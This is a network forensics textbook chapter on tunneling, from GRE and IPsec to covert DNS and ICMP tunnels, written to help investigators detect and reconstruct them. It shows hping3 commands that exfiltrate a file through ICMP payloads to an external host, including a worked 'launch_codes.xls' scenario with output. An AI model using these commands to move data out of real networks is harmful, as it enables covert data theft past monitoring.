Chapter 11. Network Tunneling
“All that is required is the ingenuity . . .”
—daemon9, coauthor of Loki1
1. daemon9, “Project Loki,” Phrack Magazine, no. 49 (1996), http://www.phrack.org/issues.html?issue=49&id=6#article.
Network tunnels are methods of encapsulating traffic in different types of protocols. Although the concept of tunneling sounds sneaky, network tunnels are often used for legitimate purposes, such as aggregating network traffic across switched virtual circuits. In certain circumstances, network tunnels are used to provide a layer of encryption for data in transit. Tunnels can also be used for illegitimate purposes, in order to hide content in ways that firewalls and NIDSs are not instrumented to detect or prevent.
In this chapter, we explore the inner workings of network tunnels, what they are used for, and how to detect and dissect them. We begin by studying legitimate tunnels that emerged for the purposes of functionality, such as Cisco’s ISL, GRE, and Teredo. Subsequently, we discuss tunnels designed for ensuring confidentiality and integrity, such as IPsec and SSL. Finally, we delve into the intriguing topic of covert tunnels and explore how hacker tools such as Loki and iodine smuggle traffic through the ICMP and DNS protocols, respectively.
Along the way, we reinforce an important philosophy: Every protocol, every networking model, every standard defined for use on the Internet can be bypassed, broken, twisted, circumvented, and leveraged by hackers for unexpected purposes. Rules are made to be broken.
11.1 Tunneling for Functionality
Network tunneling generally refers to the practice of encapsulating traffic in unusual ways, different from the order described by standard layered models such as the OSI model. Often, network tunnels are developed by network engineers seeking to create more effective communications channels. As old equipment, software, and protocols become outdated or simply fail to meet organizational needs, network engineers must find creative ways to expand their functionality. In this section, we examine common tunnels used for legitimate purposes and discuss their effect on forensic investigations.
11.1.1 Background: VLAN Trunking
Trunking VLANs over a WAN is one of the simplest and most common examples of tunneling that forensic analysts encounter. Often, network engineers would like to partition the network traffic for various groups of users without having to create multiple physical networks for each of them. They accomplish this on a LAN by deploying “smart switches” that support the 802.1Q protocol, which can be programmed to aggregate the appropriate stations into the desired VLAN. “Trunking” is a general term used in telecommunications to describe the case when circuits or cables are aggregated for transport from one point to another.
IEEE 802.1Q is an open standard that describes an extension to the Ethernet framing that provides support for creating “virtual” LANs (VLANs) on a single physical network. When a frame enters the network through an edge switch, it is “tagged” with the VLAN ID (VID) that has been assigned to the port it entered on. The Ethernet encapsulation then retains this tag as the frame traverses bridges and core switches, with Layer 2 routing or filtering decisions potentially made on the basis of the VLAN tag. The tag is stripped off only when the destination’s edge switch passes the frame to the destination station.
The information in the extended Ethernet frame supports up to 4,096 different VLANS within a single Layer 2 switched fabric. Cisco and many others refer to this as “trunking,” as it is a virtual way of performing link or network aggregation over the equivalent of a single physical device.
However, since 802.1Q is strictly a Layer 2 protocol, the VID and all other tagging info is necessarily stripped away if the packet is demultiplexed by a router as it is routed between Layer 2 networks. Consequently, 802.1Q can’t be used by itself to trunk VLANs across routed segments.
11.1.2 Inter-Switch Link (ISL)
Why would you want to trunk VLANs across routed segments? One of the chief benefits of establishing VLANs is to support the implementation of policies that define how traffic is routed to flow within and between them. In a complex organization, managing these policies would be much easier if you could apply those rules to VLANs that include all of a specific population of users, regardless of geographic location. This requires a protocol for trunking VLANs over WANs, across routers and firewalls.
One such protocol is Cisco’s proprietary Inter-Switch Link (ISL). ISL works by encapsulating the Ethernet frames in a proprietary format prior to being sent over a WAN by the router. At the other end, the ISL protocol is deciphered by the router that receives it, and the Ethernet frame’s original VLAN tags are restored. This requires that the routers at both ends are configured to support Cisco’s ISL.2,3
2. “Inter-Switch Link and IEEE 802.1Q Frame Format—Cisco Systems,” August 25, 2006, http://www.cisco.com/en/US/tech/tk389/tk689/technologies_tech_note09186a0080094665.shtml#back.
3. “Wireshark Display Filter Reference: Cisco ISL,” 2011, http://www.wireshark.org/docs/dfref/i/isl.html.
11.1.3 Generic Routing Encapsulation (GRE)
Generic Routing Encapsulation (GRE) is a published IETF protocol designed “for performing encapsulation of an arbitrary network layer protocol over another arbitrary network layer protocol.”5 Among its many uses, it is a great alternative to Cisco’s proprietary ISL. Organizations can use GRE to trunk for trunking VLANs across routed segments. Forensic analysts can easily look up the protocol specifications for use when analyzing GRE-encapsulated traffic.
5. S Hanks et al., “RFC 1701—Generic Routing Encapsulation (GRE),” IETF, October 1994, http://rfc-editor.org/rfc/rfc1701.txt.
11.1.4 IPv6 over IPv4 with Teredo
Turning our attention from the problem of trunking VLANs over high layer protocols, we will now examine the interoperation of IPv6 and IPv4 networks. How can networks deliver IPv6 packets through a router that is only IPv4-enabled? This is a challenge anywhere that IPv6 networking is used on several segments which are only connected via IPv4.
Imagine a corporation that uses IPv6 internally on their LANs, and within their own autonomously routed domains. However, the ISP for a remote office only supports IPv4. The corporation needs to tunnel IPv6 traffic across the WAN link over IPv4.
Teredo is an open IETF standard that specifies a method for tunneling IPv6 over IPv4 networks.6 It does this by encapsulating IPv6 packets in UDP traffic, within IPv4.
6. C. Huitema, “RFC 4380—Teredo: Tunneling IPv6 over UDP through Network Address Translations (NATs),” IETF, February 2006, http://rfc-editor.org/rfc/rfc4380.txt.
IPv4 traffic is so commonly NAT-ted that this introduces significant challenges for tunneling IPv6 traffic, especially when the source and/or destination stations are behind a NAT-ting device at the tunnel endpoint. To maintain connectivity across NAT gateways, “NAT traversal” (NAT-T) techniques are employed. Notably, Teredo provides organizations with a solution for the NAT-T problem, allowing network engineers to tunnel IPv6 traffic over UDP over IPv4, even when one or both endpoints are behind NAT-ting devices.
11.1.5 Implications for the Investigator
Legitimate network tunnels are often used to shuttle data over WANs in which the networking technology is not fully compatible with the LANs on either end. In order to accomplish this, traffic is encapsulated within additional Layer 2/3 protocols, sent across a network, and unwrapped at the endpoint to reveal the original Layer 2/3 protocol headers and footers.
For forensic investigators, the primary challenge for dealing with legitimate network tunnels is to recognize the tunneling protocol and reconstruct the tunneled traffic. Analyzing tunneled network traffic can be a challenge; your tools may not support the protocol used for tunneling, which makes analysis very difficult. Even sniffing traffic can be a challenge if libpcap (or your chosen software) does not support the data-link layer protocol in use.
It is a good idea to take a sample packet capture when you begin sniffing and quickly analyze it with a protocol dissector to make sure you can easily view the content you want. If not, sometimes the easiest solution is to sniff from a different location on the network. For example, rather than tapping a cable over which tunneled traffic is flowing, you might work with local network staff to set up port mirroring on one of the endpoint devices, thus bypassing the issue of analyzing tunneled traffic.
For functional tunnels that do not include encryption, the biggest challenge is simply ensuring that you can recognize the tunneling protocol, and that your tools support analysis of that protocol so that you can extract and reconstruct the tunneled traffic. If you are working with an undocumented protocol, your analysis may include painstaking manual deconstruction and reassembly.
11.2 Tunneling for Confidentiality
We’ve seen that we can build tunnels to route traffic between networks and in other ways that allow disparate sites to be connected. In addition to achieving this functionality, organizations also want to make sure that their tunneled traffic remains confidential, even when routed over public segments. Early tunneling protocols such as GRE did not address issues of confidentiality. It was initially assumed that they would be used across private networks.
Once upon a time, organizations purchased leased lines to connected remote sites. They called the networks that resulted “private” because the organizations had dedicated use and control of both the endpoints and the links between them. As the Internet evolved, it became cheaper to use publicly accessible networks to route traffic between sites than private leased lines. Organizations wanted to create “virtual private networks,” which would allow them to take advantage of the cheaper shared links, while keeping their own data private.
Over time, protocol designers published standards such as Internet Protocol Security (IPsec), Secure Socket Layer (SSL), and its successor, Transport Layer Security (TLS), which were designed to provide end-to-end encryption (and therefore confidentiality) of encapsulated traffic regardless of the route traversed.
11.2.1 Internet Protocol Security (IPsec)
Internet Protocol Security (IPsec)8 was designed to implement virtual private networking. The authors had several goals: to provide for mutual authentication between nodes, message integrity, and confidentiality. Since it was an open standard, it was a popular way to create virtual private networks (VPNs) (and still is).
8. S. Kent and R. Atkinson, “RFC 2401—Security Architecture for the Internet Protocol,” IETF, November 1998, http://rfc-editor.org/rfc/rfc2401.txt.
IPsec is not just a single protocol; it is actually a suite of protocols. Conceptually, it is a Layer 3 protocol suite. IPsec can work with both IPv4 and IPv6 packets. It was actually designed to be natively part of the IPv6 protocol suite. When used with IPv6, it truly is a Layer 3 protocol, in that it is just an extended IP header (one good reason to migrate to IPv6). However, when used with IPv4, it operates above IP (which is also Layer 3).
There are three main protocols within the IPsec suite that are used to establish “Security Associations” (SAs). The first protocol handles key generation and negotiation between the endpoints. This is typically accomplished with Internet Key Exchange (IKE).9,10 The second protocol is “Authentication Header”11 (AH), which is used to provide node-to-node authentication and integrity protection for most of the IP header and all of its contents. The third protocol is “Encapsulating Security Payload” (ESP),12 which provides confidentiality of the packet payloads.
9. D. Harkins and D. Carrel, “RFC 2409—The Internet Key Exchange (IKE),” IETF, November 1998, http://rfc-editor.org/rfc/rfc2409.txt.
10. S. Kent and K. Seo, “RFC 4301—Security Architecture for the Internet Protocol,” IETF, December 2005, http://rfc-editor.org/rfc/rfc4301.txt.
11. S. Kent and R. Atkinson, “RFC 2402—IP Authentication Header,” IETF, November 1998, http://rfc-editor.org/rfc/rfc2402.txt.
12. S. Kent, “RFC 4303—IP Encapsulating Security Payload (ESP),” IETF, December 2005, http://rfc-editor.org/rfc/rfc4303.txt.
Forensic investigators are likely to encounter IPsec tunneled traffic when investigating traffic flowing between two remote sites of an organization that are connected by a site-to-site IPsec VPN tunnel or when analyzing traffic from a laptop that is connected via a VPN client to a central server.
For example, imagine that you are investigating a suspect on a university guest network. You don’t have access to the suspect’s laptop, and you don’t have access to the remote endpoint site to which she is connecting. With the cooperation of the university staff, you can gain access to the packets that are traversing the network, which are IPsec-encapsulated.
What kinds of evidence are forensic analysts likely to recover from IPsec-encapsulated traffic? That depends on how the endpoints have been configured (we are assuming that you do not have the ability to decapsulate the traffic).
IPsec can function in two basic modes: tunnel mode and transport mode.
• In tunnel mode, the entire original IP packet is encapsulated within a new IP packet, and a completely new IP header is prepended. As a result, the original IP packet is fully encrypted, including the IP header information.
• In transport mode, the original IP header and payload are split. The new IP payload consists of the old payload plus the IPsec header that has been tacked on the front of it. ESP/AH protects the confidentiality and integrity of the old payload, plus the IPsec header itself. The original IP header is glued back in front. Certain IP header fields such as ECN, TTL, or flags may be modified, but the source/destination addresses remain the same.
As a result, forensic analysts can recover evidence regarding the source and destination of the tunnel endpoints when IPsec is used in transport mode, but not in tunnel mode. In transport mode, the original source and destination are still visible in the IP packet header. In tunnel mode, the source/destination information is encrypted along with the original payload.
Also, in tunnel mode, the initial setup happens over port 500, and beyond that they are normal IP packets with protocol 50 and 51. These IP packets are not typically encapsulated in a Layer 4 protocol at all once the SA has been established.
In transport mode, the establishment of the SA with IKEv2 and all the subsequent AH- or ESP-encapsulated traffic is transmitted via IP over UDP on port 4500 by default. Cisco and other manufacturers also support using TCP, rather than UDP, to improve reliability (default TCP 10000 on Cisco devices).
11.2.2 Transport Layer Security (TLS) and Secure Socket Layer (SSL)
Transport Layer Security (TLS), a successor to the Secure Socket Layer (SSL), was derived from Netscape’s efforts to provide an encryption layer for HTTP traffic (and possibly other traffic as well). SSL was originally developed by Netscape in the early 1990s, and multiple revisions were released. It was a proprietary standard, although Netscape published it and has since granted the public a royalty-free license to use SSL and its derivative, TLS. SSL was fairly forward-looking in that it employed asymmetric encryption for certificate-based authentication and end-to-end symmetric encryption for confidentiality. Pretty clever stuff! Although SSL has since been superceded by TLS, there is still network equipment on the Internet that employs older versions of SSL that are known to use flawed cryptographic implementations.
TLS is a published IETF standard intended to supplant SSLv3. The name “Transport Layer Security” is a little misleading, in that it does not operate at the transport layer (Layer 4). Rather, it is designed to provide session-layer (Layer 5) encryption and authentication services above the transport layer.
We can contrast this with IPsec, which is designed to provide encryption between endpoints at Layer 3, upon which any arbitrary transport can be protected. Using IPSec in tunnel mode, it is possible to conceal the ultimate tunnel endpoints; with SSL and TLS this is neither possible nor a goal of the design. When using SSL or TLS, it’s up to the application seeking transport service to decide whether or not to support or employ authentication, privacy, or integrity checking.
TLS can be used as a generic VPN protocol. In recent years, TLS has exploded in popularity for this purpose, and manufacturers such as Cisco, SonicWALL, Juniper, and others have added built-in support for TLS-based VPNs to their routers. OpenVPN, the popular open-source VPN tunneling suite, is based on SSL/TLS. In these cases, the IP packet is encapsulated within a session-layer TLS segment, which is typically routed using TCP/IP to the tunnel endpoints. (Please see Chapter 10 for more details on TLS and SSL.)
For forensic investigators, here are some key points to keep in mind when analyzing TLS- or SSL-encrypted traffic:
• When you analyze TLS-encrypted traffic, expect to find encryption at the session layer (not the transport layer, as the name implies).
• The network-layer details (i.e., source and destination IP addresses), as well as the transport-layer details (i.e., source and destination TCP ports) of TLS-encrypted traffic are clearly visible and recoverable by a forensic investigator. This is huge! If all you have are IP headers alone, you can do flow-based analysis to determine dates, times, sources, and destinations of connections, as well as the rate and volume of data flow for any period. If you’ve got transport-layer headers as well, you can determine the state of connections, the length of the connection, and infer the types of applications used (in many cases). Even if the application content is unrecoverable due to encryption, you can do extensive analysis based on lower-layer header information.
• TLS is ubiquitous and is based on public key technology and certificates. If you can recover the appropriate certificate and private key, you may be able to use common tools such as Wireshark or tshark to easily decipher the entire tunnel. (See Section 10.6.2.1 for details.)
11.2.3 Implications for the Investigator
Tunnels designed for confidentiality pose a serious challenge for investigators. In some cases, tunneling protocols may encrypt just the payload of the tunneled traffic, leaving the Layer 2/3 endpoints of the tunneled traffic exposed. Even though investigators may not be able to recover the higher-layer content of the traffic, it may still be possible to identify endpoint IP addresses and conduct statistical flow record analysis (see Chapter 5, “Statistical Flow Analysis”).
In other cases, the entire tunneled frame or packet is encrypted, including the original Layer 2/3 headers, which makes it impossible for the investigator to identify even the endpoints of the tunneled traffic. In these situations, the investigator is left to conduct timing-based analysis of the volume of traffic sent and received. Usually the best-case scenario is when the investigator can find another point on the network to intercept the traffic and bypass the tunneled protocol altogether.
11.3 Covert Tunneling
Tunneling has generated some buzz in recent years. As more enterprises introduce restrictive web proxies and monitoring, a small but growing percentage of visitors and employees are using tunneling techniques to evade these restrictions. As a result, covert tunneling tools have become more prevalent and mature.
11.3.1 Covert Tunneling Strategies
The most common approach for creating covert tunnels is to embed arbitrary IP traffic in protocols with data fields large enough to accommodate reasonable throughput. For this purpose, it is best to select higher-layer protocols that are commonly allowed through firewalls.
ICMP is a good choice because of the near-ubiquitous allowance of outbound echo requests and inbound echo replies. This yields a very ripe field for covert channels because the protocol payloads can carry any arbitrary data in any arbitrary amount. DNS is another good selection. We look at both ICMP and DNS tunneling in the next sections.
Once a protocol is selected, the attacker needs to set up both a local client and a remote listener that can extract the tunneled traffic and forward it elsewhere as necessary. In order to prevent hijacking, tunneling tools often use authentication (usually password-based) to control access to the remote listener. To evade detection, some tools employ encryption and obfuscation techniques, hiding the contents of traffic in transit to foil content-based IDS analysis.
Tunneling tools also provide options for slowing the rate of packet transmission, to reduce the volume of suspicious traffic flowing across the network (there are only so many legitimate DNS queries one system can make!). However, this also slows down communication and makes the tunnel less useful for the user, so there is an obvious tradeoff between covertness and usability.
11.3.2 TCP Sequence Numbers
Here is a sneaky theoretical example of tunneling using TCP sequence numbers (which are 32 bits): For every SYN packet that a system sends, it must generate a random 32-bit initial sequence number. Someone wishing to tunnel data outbound in a very covert way could encrypt their data, thus making it appear pseudo-random, chop it up into 32-bit chunks, and embed it as the initial sequence number of TCP SYN connection attempts to an external server.
Likewise, any system responding to a large number of TCP SYN packets (such as a web server or any other system that is quite busy) has to come up with initial sequence numbers for its SYN/ACK responses. An attacker could co-opt the server’s TCP stack so that every initial sequence number that it generated for every SYN/ACK was a 32-bit chunk of encrypted data. In this manner, you could build a two-way covert communications channel, in any environment in which a high number of independent TCP connections are established and disconnected.
Is that evil or what?
11.3.3 DNS Tunnels
In Section 4.4.1.4, “Domain Name System (DNS),” we studied DNS, which is a distributed hierarchical system for mapping domain names to IP addresses. In order to function as designed, DNS servers accept queries from clients that can contain arbitrary user-selected data and, if needed, they can shuttle these requests along to remote servers. In short, DNS servers can be manipulated to function as proxies for tunneled traffic.
How does this work? There are three characteristics of the DNS protocol that make it well suited for covert tunneling. First, DNS is fundamental to normal activities such as web browsing, which require clients to constantly resolve new domains. Most organizations allow recursive DNS queries to arbitrary domains for this reason.
Second, by design the DNS protocol can be used to communicate queries from internal clients to external remote servers. An attacker can specify the authoritative name server for a domain. If a client makes a DNS query for a server in that domain, other DNS servers along the way that do not have the answer cached will recursively query nameservers until the authoritative name server responds. If the client is configured to make requests for randomized hostnames within the attacker-controlled domain, the local DNS server will not have these random hostnames cached, and will be forced to recursively query the authoritative name server each time (unless this functionality is disabled). In this way, the attacker can ensure that an internal client will be able to reliably send messages to and receive responses from the remote attacker-controlled server.
Third, the DNS protocol includes several excellent fields that can be used to smuggle data, including NULL, TXT, SRV, or MX. For example, according to RFC 1035, the DNS NULL record can contain 65,535 bytes of any type of data, as shown below:13
13. P. Mockapetris, “RFC 1035—Domain Names: Implementation and Specification,” IETF, November 1987, ftp://ftp.rfc-editor.org/in-notes/rfc1035.txt.
3.3.10. NULL RDATA format (EXPERIMENTAL)
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
/ <anything> /
/ /
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
Anything at all may be in the RDATA field so long as it is 65535 octets or
less.
Common types of DNS records include A records, MX records, and PTR records. NULL records are rarely used.
Forensic investigators can detect DNS tunneling by looking for high volumes of DNS requests and responses, queries for many unusual hostnames, or requests for unusual DNS types such as NULL records.
11.3.3.1 iodine
Iodine is an open-source tool designed to “tunnel IPv4 data through a DNS server.”14 It was developed by Bjorn Andersson, Erik Ekman, and Anne Bezemer. According to the README.txt file, “The name iodine was chosen since it starts with IOD (IP Over DNS) and since iodine has atomic number 53, which happens to be the DNS port number.”15 By default, iodine transmits data over DNS NULL record queries and responses for subdomains under an attacker-controlled domain.16 The tool also supports tunneling over TXT, SRV, MX, CNAME, and A records.
14. “kryo.se: iodine (IP-over-DNS, IPv4 over DNS tunnel),” February 6, 2010, http://code.kryo.se/iodine/.
15. Bjorn Andersson and Erik Ekman, “iodine readme,” 2002, http://code.kryo.se/iodine/README.html.
16. Erik Ekman and Bjorn Andersson, “iodine(8): tunnel IPv4 over DNS—Linux man page,” 2011, http://linux.die.net/man/8/iodine.
Although the tunneled traffic is chopped into little bits and encapsulated within the undocumented iodine tunneling protocol, it is possible for investigators to reconstruct the tunneled traffic. The authors caution that “the tunneled data traffic is not encrypted at all, and can be read and changed by external parties relatively easily. For maximum security, run a VPN through the DNS tunnel (=double tunneling), or use secure shell (SSH) access, possibly with port forwarding.” In other words, users may tunnel within the tunnel to add confidentiality and integrity to their communications.17
17. “iodine readme.”
11.3.4 ICMP Tunnels
ICMP is the “troubleshooting” protocol of the Internet. It is embedded in IP packets and routed by the IP protocol. According to IANA, ICMP is protocol number “1,” as specified in the “Protocol” field of the IPv4 header.18
18. “Protocol Numbers,” July 11, 2011, http://www.iana.org/assignments/protocol-numbers/protocol-numbers.xml.
ICMP has many different types and codes to reflect the multitude of purposes and uses for this protocol. For example, ICMP type 3 messages indicate “Destination Unreachable.” For type 3 messages, the “code” includes more information about why the destination was unreachable, ranging from code 0 (“Network Unreachable”) through code 13 (“Communication Administratively Prohibited”).
Another common ICMP type is type 11, “Time Exceeded,” with the two codes “0” (“TTL Exceeded in Transit”) and “1” (“Fragment Reassembly Time Exceeded”). Commonly, when a type 3 or type 11 message is sent, the payload contains the IP header and possibly also the Layer 4 header of the packet that elicited the ICMP error response (according to RFC, the payload should contain the “Internet Header + 64 bits of Original Data Datagram”).19 In this way, the system receiving the error message can understand which of the packets it sent caused the error condition.20
19. J. Postel, “RFC 792—Internet Control Message Protocol,” IETF, September 1981, http://www.rfc-editor.org/rfc/rfc792.txt.
20. Ibid.
ICMP type 8 (“echo request”) and type 0 (“echo reply”) are particularly well suited for covert tunneling. ICMP type 8 is very commonly allowed outbound, and type 0 is very commonly allowed inbound (though not usually the reverse). The structure of an ICMP type 8 or type 0 packet contains the type and code, a checksum, an identifier, and a sequence number for the requests and replies. Beyond that, any arbitrary data is allowed, in any amount. According to RFC 792, “Internet Control Message Protocol,” the only restriction on the content of ICMP echo request and echo reply messages is that “The data received in the echo message must be returned in the echo reply message.”21 However, it is rare for this stipulation to be strictly enforced.
21. “RFC 792—Internet Control Message Protocol.”
In practice, the content of ICMP echo request and echo reply payloads is limited by the theoretical maximum size of an IP packet, 65,535 bytes. However, ICMP packets of excessive sizes are abnormal and tend to cause alerts in IDS systems. Furthermore, many ICMP echo request and echo reply segments are blocked by stateful firewalls filtering outbound traffic.
Note that if the purpose of the tunnel is simply to exfiltrate data, it may not be necessary to set up a remote host to respond to the ICMP echo request packets. In this case, the attacker would only need to set up a host that can monitor the external segment where the ICMP echo requests are sent, and would not even need to set up an actual host at the destination address.
See Figure 11-1 for ICMP protocol details.
Figure 11-1 Chart of the ICMP Header data structure (echo/echo reply).
11.3.4.1 hping3
The hping3 utility is a powerful open-source tool designed to send arbitrary packets with protocol, size, timing, and content specified by the end-user. The default transport-layer protocol is TCP, although alternate options include UDP and ICMP.22
22. Salvatore Sanfilippo, “Hping—Active Network Security Tool,” 2006, http://hping.org/.
You can use hping3 as a rudimentary tunneling tool. Conveniently, the “-E” option allows you to specify a file with which to fill the packet’s payload. For example, in the command below, we send ICMP packets (the “-1” flag) with body size 1,400 bytes (the “-d” flag) to some.recipient.com, with the payloads filled by the file “secret_data.xls”:
Sender
$ hping3 -E secret_data.xls -1 -u -d 1400 some.recipient.com
Sniffer
$ tcpdump -i eth0 -s 0 -w secret_data.pcap 'host some.recipient.com and icmp '
Hping3 will send out a series of ICMP packets containing the contents of the specified file, which are then captured by the monitoring system on the receiving segment and stored in a .pcap file.
Sophisticated? No. Effective? Yes.
11.3.4.2 Loki
Loki was a proof-of-concept information tunneling tool released by daemon9 in an issue of Phrack magazine (1997). It was designed to tunnel information through the payloads of ICMP echo request/reply packets (it is also capable of tunneling through DNS queries/responses). Since most network devices at the time allowed ICMP echo request/reply traffic for network troubleshooting purposes, they were an effective vehicle for tunneling traffic.23
23. daemon9, “Loki2 (The Implementation),” Phrack Magazine, no. 51 (1997), http://www.phrack.org/issues.html?issue=51&id=6.
Regarding the purpose of Loki, daemon9 wrote:
Astute readers will note that Loki is simply a form of steganography. . . . It can be used as a backdoor into a system by providing a covert method of getting commands executed on a target machine. It can be used as a way of clandestinely leeching information off of a machine. It can be used as a covert method of user-machine or user-user communication. In essence the channel is simply a way to secretly shuffle data (confidentiality and authenticity can be added by way of cryptography).24
24. daemon9, “Project Loki,” Phrack Magazine, no. 49 (1996), http://www.phrack.org/issues.html?issue=49&id=6#article.
Loki allowed users to encrypt the tunneled traffic using the algorithm of their choice (options ranged from Blowfish [strong] to XOR [weak]).
11.3.5 Example: ICMP Tunnel Analysis
In this section, we use the following scenario to illustrate tunnel analysis tools and techniques.
What if Ann has a server on the outside that she controls, which monitors and records traffic destinated for that segment? She could tunnel any arbitrary content outbound in the payloads of a series of ICMP echo requests bound for any IP address on an external segment that she can monitor, whether a host exists at the specific destination address or not.
To accomplish this, Ann merely needs to capture the contents of the ICMP echo request packets bound for the nonexistent IP address, strip out the contents, and reconstruct the original data. (If she wants to be slick about it, she could encrypt the contents of the data prior to stuffing it in the ICMP payloads.)
11.3.5.1 The Attack
In the example below, Ann uses the tool “hping3” to stuff the spreadsheet into the payload of ICMP echo request packets and tunnel it out. At the other end, she is already running tcpdump to sniff all the incoming ICMP packets from her origin. Later, she can carve the file out of the packet contents and reconstruct it.
In this demonstration, the “inside” server is the origin of the data. The “outside” server is sniffing traffic on the remote subnet and will capture the payload contents. Notice the presence (or lack) of a system to respond with ICMP echo replies is of no consequence for exporting data in a unidirectional tunnel. All Ann needs is a system that can monitor the remote network for ICMP traffic.
First, the outside system begins sniffing traffic, as shown below. Ann could have started this process well before her incursion into the Secret Underground Nuclear Missile Facility. In the command below, the host “172.16.16.221” is the remote address to which Ann directs ICMP traffic. [Note that for the purposes of this example, we are treating 172.16.16.221 as an IP address on “the Internet.” In real life, this is part of a reserved non-routable IP address space.]
Outside (sniffing packets)
# tcpdump -i eth0 -s 0 -w launch_codes_xls.pcap 'host 172.16.16.221 and icmp'
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535
bytes
Next, on the inside server, Ann selects the file to be sent. In this case, it is “launch_codes.xls.” She cryptographically hashes the file before sending so that she can verify later on that the data is intact.
Inside (cryptographically hashes the file before sending)
$ sha256sum launch_codes.xls
b50049d8c706f8e3f094edcc7b215d7054e2b6824e3026aafdfa5b39f6b94007
launch_codes.xls
In the command below, Ann uses hping3 to chop the spreadsheet into 1,400-byte chunks and embed this in ICMP echo request packet payloads. Notice that hping3 continues to send packets until the end of the file (EOF) is reached, and then it begins to send again until manually terminated.
We can see that the file in this case is split across 12 echo request packets with payloads of 1,400 bytes each. This makes sense because the original file size was 15,872 bytes, far too large to fit into a single typical Ethernet packet with an MTU of 1,500 bytes. Therefore, Ann needed to split it into smaller chunks.
# hping3 -E launch_codes.xls -1 -u -d 1400 172.16.16.221
HPING 172.16.16.221 (eth0 172.16.16.221): icmp mode set, 28 headers + 1400
data bytes
len=1428 ip=172.16.16.221 ttl=64 id=32995 icmp_seq=0 rtt=3.0 ms
len=1428 ip=172.16.16.221 ttl=64 id=32996 icmp_seq=1 rtt=3.5 ms
len=1428 ip=172.16.16.221 ttl=64 id=32997 icmp_seq=2 rtt=2.9 ms
len=1428 ip=172.16.16.221 ttl=64 id=32998 icmp_seq=3 rtt=3.5 ms
len=1428 ip=172.16.16.221 ttl=64 id=32999 icmp_seq=4 rtt=2.9 ms
len=1428 ip=172.16.16.221 ttl=64 id=33000 icmp_seq=5 rtt=3.5 ms
len=1428 ip=172.16.16.221 ttl=64 id=33001 icmp_seq=6 rtt=3.0 ms
len=1428 ip=172.16.16.221 ttl=64 id=33002 icmp_seq=7 rtt=3.5 ms
len=1428 ip=172.16.16.221 ttl=64 id=33003 icmp_seq=8 rtt=3.0 ms
len=1428 ip=172.16.16.221 ttl=64 id=33004 icmp_seq=9 rtt=3.5 ms
len=1428 ip=172.16.16.221 ttl=64 id=33005 icmp_seq=10 rtt=3.0 ms
EOF reached, wait some second than press ctrl+c
len=1428 ip=172.16.16.221 ttl=64 id=33006 icmp_seq=11 rtt=3.4 ms
--- 172.16.16.221 hping statistic ---
12 packets transmitted, 12 packets received, 0% packet loss
round-trip min/avg/max = 2.9/3.2/3.5 ms
Finally, the packets are captured by the remote sniffing process, where Ann can later retrieve them.
11.3.5.2 Packet Capture Analysis
In Figure 11-2 we see the captured packets in a screenshot of Wireshark. Frame #17, which is an ICMP echo request, has been selected. In the Packet Details view we plainly see that it contains 1,400 bytes of data in the ICMP payload. In the Packet Bytes panel below, we can see a section of the packet payload, which is just a fragment of the original file (frame #1 contains the beginning of the file). Notice the tabular data, presumably contained in cells of an Excel spreadsheet. These include fragments of text such as “Missile ID,” “Code 0,” and “fluffy.” Hmm . . . if these are missile launch codes, they’re pretty terrible. Perhaps the Secret Underground Nuclear Missile Facility has bigger security problems?
Figure 11-2 An ICMP packet that contains tunneled spreadsheet data.
It is possible to extract and reconstruct the transferred file using Wireshark and a hex editor, though Wireshark’s ICMP protocol analyzer was not built on the assumption that ICMP echo response/reply payloads are of interest or that they would contain data that spans multiple packets. In order to reconstruct that data with Wireshark, you would need to extract and save the packet bytes corresponding to the data segments of each of the ICMP packets. Then you would need to reassemble them in the correct order and extract the embedded file based on magic numbers.
After extracting all 12 fragments from the ICMP packet payload and reassembling using a hex editor such as Bless, we see that the packet capture indeed contains an Excel spreadsheet. It appears to be a short list of missile-related IDs with “codes” associated with each, as shown in Figure 11-3.
Figure 11-3 The Excel (.xls) spreadsheet, carved out of ICMP packet payloads and reassembled.
There are many ways to automate this ICMP payload reassembly process. This is left as a challenge to the reader. What creative method can you come up with?
11.3.6 Implications for the Investigator
Covert tunnels are a perpetual arms race. On the one hand, attackers (and frequently ordinary users) seek to communicate across an organization’s perimeter without network administrators noticing. Hackers develop new tools for this purpose and refine them over time to be more effective at evading detection and more efficient at sending and receiving communications.
On the other hand, defenders are constantly refining IDS signatures and developing new ways to detect covert tunnels. Once a covert tunneling tool becomes popular, methods for detecting its use can also be incorporated into local IDS and firewall rules.
Network forensic analysis tools typically do not include built-in functionality for analyzing known covert tunneling protocols. This may change as the field of network forensics matures. In the meantime, detection and analysis of covert tunnels remains a huge challenge.
How can you tell if a covert tunnel exists? Strategies include:
• Statistical flow record analysis—In particular, look for unusual volumes of traffic with unknown purpose.
• Unexpected values in protocol fields—Search for meaningful values in reserved fields or infrequently used fields. In addition, check for unexpected values in frequently used fields, such as nonrandomized numbers in fields that are supposed to contain random values.
• Recognizable content in unexpected places—Keep an eye out for magic numbers, ASCII text, honeytokens, or other signs of meaningful data in fields that normally do not contain that type of data.
Once you have detected a covert tunnel, the next challenge is to extract and reconstruct the traffic. If forensic analysis tools do not include built-in dissectors for the tunneling protocol under investigation, you may be left to manually analyze it and extract the contents. Once you have a good idea as to the structure of the tunneling protocol, you may wish to write a script to automatically reconstruct the tunneled traffic based on your own analysis.
The presence of obvious tunneled protocol headers, such as an encapsulated IP packet, can help you figure out the structure of the tunneling protocol. If the tunneled traffic is obfuscated or encrypted, however, then determining the tunneling protocol structure and reconstructing content can be an enormously time-consuming effort.
11.4 Conclusion
Encapsulation is a fundamental part of a layered approach to networking. The OSI model represents the expected order of encapsulation, but it is entirely possible to encapsulate lower layers within higher layers, or mix things up. Any protocol can be encapsulated within another.
Often, network tunnels are built by engineers seeking to expand the functionality of existing equipment and software. In particular, tunnels are often used to send data across WANs when the Layer 2/3 protocols in use on the endpoint LANs are not compatible with the intermediary network(s). Over time, tunneling protocols have also been developed to provide confidentiality and integrity for communications. Attackers use tunnels to smuggle data in and out of organizations, without anyone detecting the communications channel.
